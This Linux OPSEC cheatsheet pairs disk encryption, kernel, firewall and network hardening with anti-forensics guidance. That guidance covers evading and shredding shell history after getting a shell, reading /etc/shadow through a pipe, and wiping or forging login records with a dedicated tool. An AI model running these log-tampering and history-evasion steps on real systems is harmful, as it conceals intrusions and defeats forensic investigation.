Linux operational security, system hardening, and anti-forensics. Kernel hardening, disk encryption, firewall rules, log tampering, shell history evasion, process hiding, filesystem artifacts, network OPSEC, forensic resistance, and tool recommendations.
Understanding the threat model is essential before applying any hardening. OPSEC measures are only effective when matched to the actual threats you face. Over-hardening creates usability friction, under-hardening leaves exploitable gaps.
| Threat | OPSEC Defense | Effectiveness | Caveat |
|---|---|---|---|
| Local forensics (disk seized, powered off) | LUKS2 + Argon2id, detached header, VeraCrypt hidden volume | High | Must be powered OFF. Live system = game over. |
| Network traffic analysis | VPN kill switch, Tor transparent proxy, DNS-over-TLS | High | VPN exit node is still a single trust point |
| File recovery (undelete) | Secure deletion, TRIM, full disk encryption | High on SSD | HDD: shred works. SSD: must use TRIM or ATA Secure Erase |
| Login record analysis | hidemylogs (timestamp-preserving), utmpdump round-trip | High | Must clean ALL 4 files + text logs + journal consistently |
| Physical access (evil maid) | Secure Boot, LUKS + TPM2, Heads/Coreboot TOTP | High | Only Heads firmware truly detects firmware tampering |
| Timeline analysis (timestamps) | Timestomping (touch -r), tmpfs execution | Medium | ext4 ctime cannot be faked from userspace |
| Process monitoring (EDR on same host) | Process hiding, eBPF evasion, renamed binaries | Low-Medium | Sophisticated EDR with kernel callbacks catches most evasion |
| Kernel module detection | Module list hiding, eBPF | Medium | Tainted kernel flag persists in /proc/sys/kernel/tainted |
No amount of local hardening protects against the scenarios below. Know the limits.
Technical limitations (no local defense exists):
| Scenario | Why Local OPSEC Cannot Help |
|---|---|
| Remote SIEM with immutable storage | Logs forwarded in real time to a system you don't control. Local cleanup is too late. |
| Hardware implants (keylogger, RF tap) | Operates below OS. Firmware keylogger captures keystrokes before LUKS passphrase reaches the kernel. |
| Compromised firmware / UEFI rootkit | Runs before the OS boots. Persists across OS reinstalls. Only Heads/Coreboot with measured boot detects. |
| Supply chain compromise (package, compiler) | Backdoor in the toolchain itself. Reproducible builds are the only partial mitigation. |
| Side-channel attacks (Spectre, Meltdown, MDS) | Hardware-level CPU vulnerability. Kernel mitigations are partial and come with performance cost. |
| Rubber-hose cryptanalysis (physical coercion) | All crypto is bypassed by violence. LUKS-Nuke is the only counter (destroy keys under duress). |
| Memory forensics on a LIVE system | If attacker has root on a running machine, they can dump all RAM including LUKS master keys. Power off is the only defense. |
| Vendor / distro telemetry (if not disabled) | Kernel, snap, flatpak, GNOME, KDE all phone home by default on some distros. Audit and disable. |
Adversary-based threat scenarios (defenses are in the table above - this table maps adversaries to the gaps that local hardening CANNOT fill):
| Adversary | Their Capabilities | What This Sheet Covers | What This Sheet Does NOT Cover (your real gap) |
|---|---|---|---|
| State-level (NSA, GCHQ, DGSI, FSB, Unit 8200) | TAO implants, upstream SIGINT, QUANTUM injection, legal compulsion (NSL, FISA, Art. 434-15-2), firmware backdoors, 0-days | Disk encryption, sysctl hardening, process security | Network anonymity (Tails/Whonix), behavioral OPSEC (pattern-of-life), firmware trust (Heads/Coreboot), air-gapped systems |
| Law enforcement (police, customs, border) | Disk seizure, compelled decryption orders, IMSI catchers, Cellebrite UFED, border device imaging | Disk encryption (if powered off), LUKS-Nuke (duress) | Jurisdiction law knowledge (compelled decryption varies by country), detached LUKS header on separate USB, power off before contact |
| APT groups (Fancy Bear, Lazarus, Equation Group) | Custom implants, 0-day chains, supply chain poisoning, firmware persistence, living-off-the-land | Attack surface reduction (sysctl, AppArmor, ptrace restrictions) | Assume compromise - detect don't prevent. Qubes compartmentalization, LKRG, verified reproducible builds |
| Organized crime / mafia | Physical access, bribery, hired hackers, surveillance, spearphishing | Disk encryption, network hardening (VPN kill switch, firewall) | Physical security is primary. Threat is less sophisticated but more willing to use violence |
| Journalist / activist vs government | Surveillance, device seizure at border, metadata analysis, social graph mapping | Device hardening works, but... | Network anonymity is the critical gap. Tails for source comms, Signal with disappearing messages, separate devices per identity |
| Corporate espionage / insider | Shoulder surfing, USB drops, evil maid, exfiltration via cloud sync | Disk encryption, Secure Boot, USBGuard | Screen privacy filter, BIOS tamper detection, encrypted offsite backups, disable cloud sync |
| Abusive partner / stalker | Physical access, knows your habits, may know passwords | Disk encryption (if locked) | Separate hidden device (Tails on USB), change passwords from different network |
Key insight: the left columns (what this sheet covers) are the technical defenses detailed in the table above and the rest of this cheatsheet. The right column (what this sheet does NOT cover) is where most people actually fail. Linux OPSEC hardens the device. It does NOT anonymize the operator.
| Feature | Stock Linux | Hardened Linux | Tails | Whonix | Qubes OS | Kicksecure | Heads |
|---|---|---|---|---|---|---|---|
| Disk encryption | Optional (LUKS) | LUKS mandatory | Amnesic (RAM only) | LUKS in VM | LUKS + VM isolation | LUKS mandatory | LUKS + Coreboot measured boot |
| Network anonymity | None | VPN/Tor manual | All traffic via Tor | All traffic via Tor | Per-VM networking | VPN/Tor manual | Tor-only boot option |
| Kernel hardening | Minimal defaults | sysctl + grsec/LKRG | Hardened kernel | Hardened kernel | Xen hypervisor isolation | Hardened (Whonix base) | Minimal kernel, Coreboot verified |
| Log persistence | Full persistence | Minimal/volatile | None (amnesic) | VM-level only | Per-VM journals | Minimal/volatile | Minimal (measured boot log) |
| Forensic resistance | Low | Medium | Very High | High | High | Medium-High | Very High (firmware-level) |
| MAC randomization | Off by default | Configured | Automatic | Automatic | Per-VM configurable | Configured | Configured |
| Secure Boot | Distro-dependent | Enforced + custom keys | N/A (USB live) | VM-dependent | Dom0 enforced | Enforced | Coreboot + TOTP verification |
| Attack surface | Large | Reduced | Minimal | Minimal (gateway+ws) | Compartmentalized | Reduced (Whonix base) | Minimal (no UEFI, pure Coreboot) |
| Firmware trust | OEM UEFI (opaque) | OEM UEFI (opaque) | OEM UEFI (opaque) | OEM UEFI (opaque) | OEM UEFI (opaque) | OEM UEFI (opaque) | Open-source firmware (Coreboot) |
| Use case | General purpose | Operator workstation | Temporary operations | Persistent anon work | High-security compartments | Daily driver hardened desktop | Max paranoia (firmware verified) |
New additions:
Full disk encryption is the baseline. Without it, a powered-off machine gives up everything. LUKS2 with Argon2id is the current standard (2026). LUKS1 used PBKDF2 which is GPU-friendly - avoid it for new setups.
# Check current LUKS version and cipher
cryptsetup luksDump /dev/sda2 | head -20
# Look for: Version: 2, PBKDF: argon2id
# Create LUKS2 encrypted partition
cryptsetup luksFormat --type luks2 \
--cipher aes-xts-plain64 \
--key-size 512 \
--hash sha512 \
--pbkdf argon2id \
--pbkdf-memory 1048576 \
--pbkdf-parallel 4 \
--pbkdf-force-iterations 8 \
/dev/sda2
# Open and mount
cryptsetup open /dev/sda2 cryptroot
mount /dev/mapper/cryptroot /mnt
# Convert LUKS1 to LUKS2 (backup header first)
cryptsetup luksHeaderBackup /dev/sda2 \
--header-backup-file /safe/luks-header.bak
cryptsetup convert /dev/sda2 --type luks2
# Add Argon2id to existing LUKS2
cryptsetup luksConvertKey /dev/sda2 --pbkdf argon2id
# Nuke slot (emergency key destruction)
cryptsetup luksKillSlot /dev/sda2 0
# Erase entire LUKS header (makes data unrecoverable)
cryptsetup luksErase /dev/sda2
# Or: dd if=/dev/urandom of=/dev/sda2 bs=16M count=1
Kali Linux ships a cryptsetup-nuke-password package that adds a nuke password to LUKS. When entered at boot instead of the real passphrase, it destroys all keyslots - the disk becomes permanently inaccessible. Designed for border crossings, raids, or any scenario where you're compelled to enter a password under duress.
# Install (Kali / Debian-based)
apt install cryptsetup-nuke-password
# Add a nuke password to an existing LUKS partition
dpkg-reconfigure cryptsetup-nuke-password
# You'll be prompted for the nuke passphrase
# WARNING: entering this passphrase at boot will DESTROY all keyslots
# How it works internally:
# 1. cryptsetup tries the entered passphrase against all keyslots
# 2. If it matches the nuke passphrase, it runs luksErase instead of open
# 3. All keyslots are overwritten with zeros
# 4. The master key is gone - data is unrecoverable
# Backup your LUKS header offsite BEFORE setting a nuke password
cryptsetup luksHeaderBackup /dev/sda2 \
--header-backup-file /safe/offsite/luks-header.bak
# With the header backup, you can restore the keyslots after a nuke
# Without it, the nuke is permanent
OPSEC considerations:
Add a second factor to LUKS unlock: passphrase + hardware token (YubiKey, FIDO2 key, TPM, or USB key file). Even if the passphrase leaks, the disk stays locked without the physical token.
# --- Option 1: FIDO2 token (YubiKey 5+, SoloKey, etc.) ---
# Requires systemd 248+ with systemd-cryptenroll
# Enroll a FIDO2 token as a new LUKS keyslot
systemd-cryptenroll --fido2-device=auto /dev/sda2
# Now at boot: enter passphrase + touch the FIDO2 key
# The token provides a HMAC-secret that combines with your passphrase
# List enrolled tokens
systemd-cryptenroll /dev/sda2
# Remove a FIDO2 enrollment
systemd-cryptenroll --wipe-slot=fido2 /dev/sda2
# --- Option 2: YubiKey challenge-response (HMAC-SHA1 slot) ---
# Uses yubikey-luks / ykfde (Arch: mkinitcpio-ykfde)
apt install yubikey-luks # Debian/Ubuntu
yubikey-luks-enroll -d /dev/sda2 -s 7
# Slot 7 now requires YubiKey touch + passphrase to unlock
# --- Option 3: TPM2 + PIN ---
# Bind LUKS to the TPM PCR state + a PIN (measured boot)
systemd-cryptenroll --tpm2-device=auto --tpm2-with-pin=yes /dev/sda2
# Unlocks only if: correct PIN + TPM PCR values match (no boot tampering)
# If someone modifies the bootloader (evil maid), PCR changes -> unlock fails
# --- Option 4: Detached key file on USB ---
# The key file lives on a separate USB drive, not on the encrypted disk
dd if=/dev/urandom of=/mnt/usb/luks.key bs=4096 count=1
chmod 400 /mnt/usb/luks.key
cryptsetup luksAddKey /dev/sda2 /mnt/usb/luks.key
# Boot with USB inserted, key file + passphrase combined unlock
# Without the USB, the disk is inaccessible even with the passphrase
# --- /etc/crypttab for 2FA boot ---
# For FIDO2:
# cryptroot /dev/sda2 - fido2-device=auto
# For TPM2+PIN:
# cryptroot /dev/sda2 - tpm2-device=auto,tpm2-with-pin=yes
# For key file:
# cryptroot /dev/sda2 /mnt/usb/luks.key luks,keyscript=/lib/cryptsetup/scripts/passdev
Which 2FA method to choose:
| Method | Token | Evil Maid Protection | Duress Compatible | Availability |
|---|---|---|---|---|
| FIDO2 | YubiKey 5+, SoloKey | No (no PCR binding) | Yes (nuke separate) | systemd 248+ |
| YubiKey HMAC | YubiKey any | No | Yes | yubikey-luks package |
| TPM2 + PIN | Built-in TPM | Yes (PCR binding detects boot tamper) | Yes | systemd 248+, TPM2 chip |
| USB key file | Any USB drive | No | Yes (destroy USB) | Any Linux |
| TPM2 + FIDO2 | Both | Yes | Yes | systemd 252+ |
Best combo for high-threat: TPM2 (measured boot, evil maid protection) + FIDO2 (physical token, survives passphrase compromise) + LUKS-Nuke (duress). Three layers.
Swap can contain decrypted secrets, passwords, encryption keys dumped from RAM. Encrypt it or disable it.
# Check if swap is encrypted
swapon --show
cat /etc/crypttab | grep swap
# Option 1: encrypted swap with random key (no hibernate)
# /etc/crypttab
cryptswap /dev/sdX /dev/urandom swap,cipher=aes-xts-plain64,size=512
# /etc/fstab
/dev/mapper/cryptswap none swap sw 0 0
# Option 2: disable swap entirely
swapoff -a
sed -i '/swap/d' /etc/fstab
# Remove swap partition or file
rm -f /swapfile
# Option 3: zram (compressed RAM, no disk swap)
modprobe zram
echo lz4 > /sys/block/zram0/comp_algorithm
echo 4G > /sys/block/zram0/disksize
mkswap /dev/zram0
swapon /dev/zram0
Secure Boot prevents unsigned bootloaders and kernels from running. On operator workstations, enroll your own keys to prevent evil maid attacks with modified bootloaders.
# Check Secure Boot status
mokutil --sb-state
# Or
bootctl status | grep "Secure Boot"
# Check enrolled keys
mokutil --list-enrolled
# Custom key enrollment (advanced)
# Generate Platform Key (PK), Key Exchange Key (KEK),
# and Database key (db)
openssl req -new -x509 -newkey rsa:2048 -subj "/CN=My PK/" \
-keyout PK.key -out PK.crt -days 3650 -nodes
openssl req -new -x509 -newkey rsa:2048 -subj "/CN=My KEK/" \
-keyout KEK.key -out KEK.crt -days 3650 -nodes
openssl req -new -x509 -newkey rsa:2048 -subj "/CN=My db/" \
-keyout db.key -out db.crt -days 3650 -nodes
# Sign your kernel
sbsign --key db.key --cert db.crt \
--output /boot/vmlinuz-signed /boot/vmlinuz
# Enroll keys via UEFI firmware or KeyTool.efi
# sbctl (modern tool for managing Secure Boot keys)
sbctl status
sbctl create-keys
sbctl enroll-keys --microsoft # include MS keys for compatibility
sbctl sign -s /boot/vmlinuz-linux
sbctl sign -s /boot/EFI/BOOT/BOOTX64.EFI
Kernel parameters that reduce attack surface and information leakage. Apply via /etc/sysctl.d/99-hardening.conf and reload with sysctl --system.
| Parameter | Value | Purpose |
|---|---|---|
| kernel.kptr_restrict | 2 | Hide kernel pointers from all users (prevents KASLR bypass) |
| kernel.dmesg_restrict | 1 | Restrict dmesg to root only (prevents kernel info leak) |
| kernel.perf_event_paranoid | 3 | Disable perf for non-root (prevents side-channel attacks) |
| kernel.kexec_load_disabled | 1 | Prevent loading new kernel at runtime (anti-rootkit) |
| kernel.unprivileged_bpf_disabled | 1 | Block unprivileged eBPF (prevents kernel exploits) |
| kernel.yama.ptrace_scope | 3 | No process may ptrace another (prevents credential dumping) |
| kernel.core_pattern | /dev/null | Disable core dumps (prevents secrets in core files) |
| kernel.sysrq | 0 | Disable SysRq key (prevents physical attack shortcuts) |
| kernel.modules_disabled | 1 | Prevent loading kernel modules after boot (set last, irreversible until reboot) |
| kernel.randomize_va_space | 2 | Full ASLR (stack, VDSO, mmap, heap) |
| fs.suid_dumpable | 0 | No core dumps from setuid programs |
| fs.protected_symlinks | 1 | Prevent symlink attacks in world-writable dirs |
| fs.protected_hardlinks | 1 | Prevent hardlink attacks in world-writable dirs |
| fs.protected_fifos | 2 | Restrict FIFO creation in world-writable dirs |
| fs.protected_regular | 2 | Restrict regular file creation in world-writable dirs |
| net.core.bpf_jit_harden | 2 | Harden BPF JIT compiler against spraying attacks |
| net.ipv4.conf.all.rp_filter | 1 | Strict reverse path filtering (anti-spoofing) |
| net.ipv4.conf.all.accept_redirects | 0 | Ignore ICMP redirects (anti-MITM) |
| net.ipv4.conf.all.send_redirects | 0 | Do not send ICMP redirects |
| net.ipv4.conf.all.accept_source_route | 0 | Reject source-routed packets |
| net.ipv4.conf.all.log_martians | 1 | Log packets with impossible source addresses |
| net.ipv4.icmp_echo_ignore_broadcasts | 1 | Ignore broadcast pings (anti-smurf) |
| net.ipv4.tcp_syncookies | 1 | SYN cookie protection (anti-SYN flood) |
| net.ipv4.tcp_timestamps | 0 | Disable TCP timestamps (prevents uptime fingerprinting) |
| net.ipv6.conf.all.disable_ipv6 | 1 | Disable IPv6 entirely (if not needed) |
| net.ipv6.conf.default.disable_ipv6 | 1 | Disable IPv6 on new interfaces |
# Apply all at once
cat > /etc/sysctl.d/99-hardening.conf << 'EOF'
kernel.kptr_restrict=2
kernel.dmesg_restrict=1
kernel.perf_event_paranoid=3
kernel.kexec_load_disabled=1
kernel.unprivileged_bpf_disabled=1
kernel.yama.ptrace_scope=3
kernel.core_pattern=/dev/null
kernel.sysrq=0
kernel.randomize_va_space=2
fs.suid_dumpable=0
fs.protected_symlinks=1
fs.protected_hardlinks=1
fs.protected_fifos=2
fs.protected_regular=2
net.core.bpf_jit_harden=2
net.ipv4.conf.all.rp_filter=1
net.ipv4.conf.all.accept_redirects=0
net.ipv4.conf.all.send_redirects=0
net.ipv4.conf.all.accept_source_route=0
net.ipv4.conf.all.log_martians=1
net.ipv4.icmp_echo_ignore_broadcasts=1
net.ipv4.tcp_syncookies=1
net.ipv4.tcp_timestamps=0
net.ipv6.conf.all.disable_ipv6=1
net.ipv6.conf.default.disable_ipv6=1
EOF
sysctl --system
# Set modules_disabled LAST (cannot load modules after this)
# sysctl -w kernel.modules_disabled=1
Mandatory Access Control (MAC) restricts what programs can do even if running as root. AppArmor is profile-based (Debian/Ubuntu default), SELinux is label-based (RHEL/Fedora default).
# --- AppArmor ---
# Check status
aa-status
# Or
apparmor_status
# Enforce all profiles
aa-enforce /etc/apparmor.d/*
# Create a custom profile for a tool
aa-genprof /path/to/binary
# Run the binary normally, aa-genprof learns what it needs
# Then set to enforce mode
# Confine a binary to specific access
cat > /etc/apparmor.d/usr.local.bin.tool << 'EOF'
#include <tunables/global>
/usr/local/bin/tool {
#include <abstractions/base>
/dev/shm/** rw,
/tmp/** rw,
network inet stream,
deny /etc/shadow r,
deny /home/** rw,
}
EOF
apparmor_parser -r /etc/apparmor.d/usr.local.bin.tool
# --- SELinux ---
# Check status
getenforce
sestatus
# Set to enforcing
setenforce 1
# Persistent: edit /etc/selinux/config
# SELINUX=enforcing
# Check context of a file
ls -Z /path/to/file
# Check denials
ausearch -m avc -ts recent
# Or
journalctl -t setroubleshoot
Prevents BadUSB, USB rubber ducky, and rogue USB device attacks. Only whitelisted USB devices can connect. Critical for laptops in shared environments.
# Install
apt install usbguard # Debian/Ubuntu
dnf install usbguard # Fedora/RHEL
# Generate initial policy from currently connected devices
usbguard generate-policy > /etc/usbguard/rules.conf
# Start and enable
systemctl enable --now usbguard
# List current devices
usbguard list-devices
# Allow a specific device permanently
usbguard allow-device <ID> -p
# Block a device
usbguard block-device <ID>
# Reject all new USB devices by default (paranoid mode)
# In /etc/usbguard/usbguard-daemon.conf:
# ImplicitPolicyTarget=block
# PresentDevicePolicy=keep
# View policy rules
cat /etc/usbguard/rules.conf
# Format: allow/block id <vendor>:<product> serial "..." ...
# Temporary allow (until reboot)
usbguard allow-device <ID> # without -p = temporary
nftables replaced iptables as the default firewall framework. Use it for egress filtering, kill switches, and traffic control. UFW is a simpler frontend if you prefer it.
# --- nftables (modern, recommended) ---
cat > /etc/nftables.conf << 'NFTEOF'
#!/usr/sbin/nft -f
flush ruleset
table inet filter {
chain input {
type filter hook input priority 0; policy drop;
iif "lo" accept
ct state established,related accept
# Allow SSH from specific IP only
tcp dport 22 ip saddr 10.10.10.0/24 accept
# Drop everything else (already policy drop)
}
chain forward {
type filter hook forward priority 0; policy drop;
}
chain output {
type filter hook output priority 0; policy drop;
oif "lo" accept
ct state established,related accept
# Allow DNS
udp dport 53 accept
tcp dport 53 accept
# Allow HTTPS and HTTP
tcp dport { 80, 443 } accept
# Allow VPN (WireGuard)
udp dport 51820 accept
# Drop all other egress
}
}
NFTEOF
nft -f /etc/nftables.conf
systemctl enable nftables
# --- UFW (simpler frontend) ---
ufw default deny incoming
ufw default deny outgoing
ufw allow out 53 # DNS
ufw allow out 443/tcp # HTTPS
ufw allow out 51820/udp # WireGuard
ufw enable
# --- iptables (legacy, still widely used) ---
# Default deny
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# Allow established
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# Allow DNS, HTTPS
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
DNS queries reveal every domain you visit. By default, they go unencrypted to your ISP. Prevent leaks by encrypting DNS and ensuring it routes through your VPN or Tor.
# Check current DNS configuration
resolvectl status
cat /etc/resolv.conf
ls -la /etc/resolv.conf # check if symlink
# Method 1: systemd-resolved with DNS-over-TLS
mkdir -p /etc/systemd/resolved.conf.d/
cat > /etc/systemd/resolved.conf.d/dns-tls.conf << 'EOF'
[Resolve]
DNS=9.9.9.9#dns.quad9.net 149.112.112.112#dns.quad9.net
FallbackDNS=
DNSOverTLS=yes
DNSSEC=yes
Domains=~.
EOF
systemctl restart systemd-resolved
# Method 2: dnscrypt-proxy (encrypts DNS, supports DoH/DoT)
# /etc/dnscrypt-proxy/dnscrypt-proxy.toml
# listen_addresses = ['127.0.0.1:53']
# server_names = ['quad9-dnscrypt-ip4-filter-pri']
# doh_servers = true
# dnscrypt_servers = true
# require_dnssec = true
systemctl enable --now dnscrypt-proxy
# Prevent resolv.conf overwrite
chattr +i /etc/resolv.conf
# Method 3: force all DNS through Tor
# In /etc/tor/torrc:
# DNSPort 5353
# AutomapHostsOnResolve 1
# Then point resolv.conf to 127.0.0.1:5353
# Test for DNS leaks
dig +short whoami.akamai.net @ns1-1.akamaitech.net
curl -s https://dnsleaktest.com/
# Compare resolved IP with expected exit node
Your hardware MAC address is a persistent identifier. Randomize it on every connection to prevent tracking across networks.
# --- NetworkManager (recommended for desktops) ---
# /etc/NetworkManager/conf.d/mac-random.conf
cat > /etc/NetworkManager/conf.d/mac-random.conf << 'EOF'
[device]
wifi.scan-rand-mac-address=yes
[connection]
wifi.cloned-mac-address=random
ethernet.cloned-mac-address=random
connection.stable-id=${CONNECTION}/${BOOT}
EOF
systemctl restart NetworkManager
# --- systemd-networkd ---
# /etc/systemd/network/00-mac-random.link
cat > /etc/systemd/network/00-mac-random.link << 'EOF'
[Match]
OriginalName=*
[Link]
MACAddressPolicy=random
EOF
# --- Manual (immediate, one-time) ---
ip link set dev eth0 down
macchanger -r eth0 # random MAC
# Or specific vendor prefix
macchanger -m XX:XX:XX:YY:YY:YY eth0
ip link set dev eth0 up
# Verify
ip link show eth0
macchanger -s eth0
A kill switch ensures no traffic leaks if the VPN drops. All non-VPN traffic is blocked at the firewall level.
# WireGuard kill switch via iptables
VPN_IF="wg0"
VPN_PORT="51820"
VPN_SERVER="198.51.100.1"
LOCAL_NET="192.168.1.0/24"
# Flush existing rules
iptables -F
iptables -X
# Default deny
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# Allow LAN (optional, remove for strict isolation)
iptables -A INPUT -s $LOCAL_NET -j ACCEPT
iptables -A OUTPUT -d $LOCAL_NET -j ACCEPT
# Allow VPN handshake to server
iptables -A OUTPUT -p udp -d $VPN_SERVER --dport $VPN_PORT -j ACCEPT
iptables -A INPUT -p udp -s $VPN_SERVER --sport $VPN_PORT -j ACCEPT
# Allow all traffic through VPN tunnel
iptables -A INPUT -i $VPN_IF -j ACCEPT
iptables -A OUTPUT -o $VPN_IF -j ACCEPT
# Allow established connections
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# Drop everything else (kill switch active)
# If VPN drops, OUTPUT policy DROP blocks all traffic
# Save rules
iptables-save > /etc/iptables/rules.v4
# IPv6 kill switch (block everything)
ip6tables -P INPUT DROP
ip6tables -P FORWARD DROP
ip6tables -P OUTPUT DROP
ip6tables -A INPUT -i lo -j ACCEPT
ip6tables -A OUTPUT -o lo -j ACCEPT
ip6tables-save > /etc/iptables/rules.v6
Force all system traffic through Tor transparently. No application configuration needed - iptables redirects everything.
# /etc/tor/torrc additions
cat >> /etc/tor/torrc << 'EOF'
VirtualAddrNetworkIPv4 10.192.0.0/10
AutomapHostsOnResolve 1
TransPort 9040 IsolateClientAddr IsolateClientProtocol
DNSPort 5353
EOF
systemctl restart tor
# iptables rules for transparent proxy
TOR_UID=$(id -u debian-tor 2>/dev/null || id -u tor)
TRANS_PORT="9040"
DNS_PORT="5353"
# Flush
iptables -F
iptables -t nat -F
# Allow Tor process itself to connect directly
iptables -t nat -A OUTPUT -m owner --uid-owner $TOR_UID -j RETURN
iptables -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT
# Redirect DNS to Tor
iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports $DNS_PORT
iptables -t nat -A OUTPUT -p tcp --dport 53 -j REDIRECT --to-ports $DNS_PORT
# Redirect all TCP to Tor TransPort
iptables -t nat -A OUTPUT -p tcp --syn -j REDIRECT --to-ports $TRANS_PORT
# Allow loopback
iptables -A OUTPUT -o lo -j ACCEPT
# Allow established
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# Drop non-Tor traffic (UDP except DNS is dropped)
iptables -A OUTPUT -p udp -j DROP
iptables -A OUTPUT -j DROP
# Block IPv6 entirely
ip6tables -P INPUT DROP
ip6tables -P OUTPUT DROP
ip6tables -P FORWARD DROP
# Verify
curl -s https://check.torproject.org/api/ip
IPv6 can leak your real address even with a VPN. Disable it if your threat model requires it.
# Method 1: sysctl (runtime)
sysctl -w net.ipv6.conf.all.disable_ipv6=1
sysctl -w net.ipv6.conf.default.disable_ipv6=1
sysctl -w net.ipv6.conf.lo.disable_ipv6=1
# Method 2: sysctl persistent
echo "net.ipv6.conf.all.disable_ipv6=1" >> /etc/sysctl.d/99-hardening.conf
echo "net.ipv6.conf.default.disable_ipv6=1" >> /etc/sysctl.d/99-hardening.conf
sysctl --system
# Method 3: kernel boot parameter (most reliable)
# Add to GRUB_CMDLINE_LINUX in /etc/default/grub:
# ipv6.disable=1
# Then: update-grub or grub-mkconfig -o /boot/grub/grub.cfg
# Method 4: blacklist IPv6 module
echo "blacklist ipv6" >> /etc/modprobe.d/disable-ipv6.conf
echo "install ipv6 /bin/true" >> /etc/modprobe.d/disable-ipv6.conf
# Verify
ip -6 addr show # should be empty
cat /proc/sys/net/ipv6/conf/all/disable_ipv6 # should be 1
Running a shell script or Python script leaves far more forensic traces than running a static compiled binary. Every interpreted command spawns child processes, writes to history, and exposes readable strings. This table is the core OPSEC decision for any Linux implant or tool deployment.
| Vector | Shell script | Compiled binary (static musl) |
|---|---|---|
| .bash_history | Every command logged individually | Single execve entry |
| auditd | Multiple syscalls per operation | Direct read/write/lseek only |
| ps / /proc | Interpreter visible (bash/python) | Binary name only (rename to anything) |
| Disk artifacts | .py/.sh file persists on disk | Run from /dev/shm or memfd, delete after |
| Dependencies | Python/Bash/perl required on target | musl static linked, zero dependencies |
| File timestamps | mtime changes on script edits | atime+mtime can be restored |
| Strings analysis | Plaintext commands visible | Compiled, optionally stripped/packed |
| Memory forensics | Script content in process memory | Only compiled code in memory |
| Network signature | curl/wget commands visible | Raw socket or compiled HTTP client |
[kworker/0:1], systemd-helper)strip -s binaryBash logs every command to ~/.bash_history by default. This is the number one forensic artifact on Linux systems. Forensic analysts check it first during incident response. Multiple evasion techniques exist, ranging from disabling logging to using alternative shells that have no history mechanism.
# Disable history for current session
unset HISTFILE
export HISTSIZE=0
export HISTFILESIZE=0
set +o history
# Space prefix (commands starting with space not logged)
# Requires HISTCONTROL=ignorespace or ignoreboth
# This is the default on most distros
whoami # note the leading space
# Kill shell without writing history
kill -9 $$
# Use a shell with no history support
sh # sh doesn't log to .bash_history
dash # dash has no history mechanism
busybox sh
# Clear specific entries by line number
history -d <line_number>
# Clear all history in memory and rewrite file
history -c && history -w
# Overwrite .bash_history with empty content
cat /dev/null > ~/.bash_history
# Securely destroy history file
shred -zu ~/.bash_history
# Redirect history to /dev/null permanently
ln -sf /dev/null ~/.bash_history
# Pipe execution (parent shell logs the pipe, not contents)
echo 'id; whoami; cat /etc/shadow' | bash
Many tools besides bash maintain their own history files. A thorough cleanup requires knowing all of them. Missing even one can reveal the full attack timeline.
# All history files to check and clean
~/.bash_history
~/.zsh_history
~/.sh_history
~/.python_history
~/.mysql_history
~/.psql_history
~/.node_repl_history
~/.lesshst
~/.viminfo
~/.wget-hsts
~/.recently-used.xbel
~/.local/share/recently-used.xbel
~/.rediscli_history
~/.dbshell # MongoDB shell
~/.sqlite_history
~/.gdb_history
~/.php_history
# Nuclear option - find and destroy all history files
find /home -name ".*history*" -exec shred -zu {} \;
find /root -name ".*history*" -exec shred -zu {} \;
find /home -name ".*hst*" -exec shred -zu {} \;
find /home -name ".viminfo" -exec shred -zu {} \;
# Symlink all common history files to /dev/null
for f in .bash_history .zsh_history .python_history \
.mysql_history .psql_history .lesshst .viminfo; do
ln -sf /dev/null ~/"$f"
done
unset HISTFILE as the first command after getting a shellecho $HISTCONTROLecho $PROMPT_COMMAND (can log commands via syslog or custom scripts)grep pam_tty_audit /etc/pam.d/* (logs keystrokes at PAM level, history evasion is useless against this)--enable-syslog) sends commands to syslog directlybash --version and grep -r HISTFILE /etc/profile /etc/profile.d/ /etc/bash.bashrcLinux maintains binary login databases that track user sessions. These files use fixed-size C struct records (not text), so you cannot edit them with sed or awk. The who, w, last, and lastlog commands read these files and are among the first things a defender checks.
| File | Location | Tracks | Read by |
|---|---|---|---|
| utmp | /var/run/utmp | Current active logins | who, w, finger |
| wtmp | /var/log/wtmp | Login/logout history | last |
| btmp | /var/log/btmp | Failed login attempts | lastb |
| lastlog | /var/log/lastlog | Last login per user | lastlog |
# Current logins (reads utmp)
who
w
finger
# Login history from wtmp
last
last -f /var/log/wtmp
last -n 20 # last 20 entries
last -i # show IP addresses
last <username> # filter by user
# Failed logins from btmp (requires root)
lastb
last -f /var/log/btmp
# Last login per user
lastlog
lastlog -u <username>
# Raw dump - converts binary to editable text
utmpdump /var/run/utmp
utmpdump /var/log/wtmp
utmpdump /var/log/btmp
# Check file sizes (empty = already tampered)
ls -la /var/log/wtmp /var/log/btmp /var/run/utmp /var/log/lastlog
is a purpose-built Rust tool for surgical login record manipulation. Unlike the manual utmpdump round-trip below, it operates directly on binary struct layouts, preserves file access/modification timestamps (mtime/atime), and supports targeted wiping by username, IP/hostname, or time range.
# Install (static musl binary, zero dependencies)
# Download from github.com/franckferman/hidemylogs/releases
# Print all records across all 4 log files
hidemylogs print
# Print only wtmp + lastlog
hidemylogs print -s wl
# Wipe all records matching an IP (OR logic, dry run first)
hidemylogs wipe --ip 10.10.10.1 --dry-run
hidemylogs wipe --ip 10.10.10.1
# Wipe by username + IP (AND logic - both must match)
hidemylogs wipe --user attacker --ip 10.10.10.1 --and
# Wipe by time range (entries between 02:00-04:00)
hidemylogs wipe --time 02:00-04:00
# Forge a fake lastlog entry for a specific UID
hidemylogs forge --uid 1001 --timestamp "2026-01-15T10:30:00" \
--terminal "pts/0" --hostname "192.168.1.50"
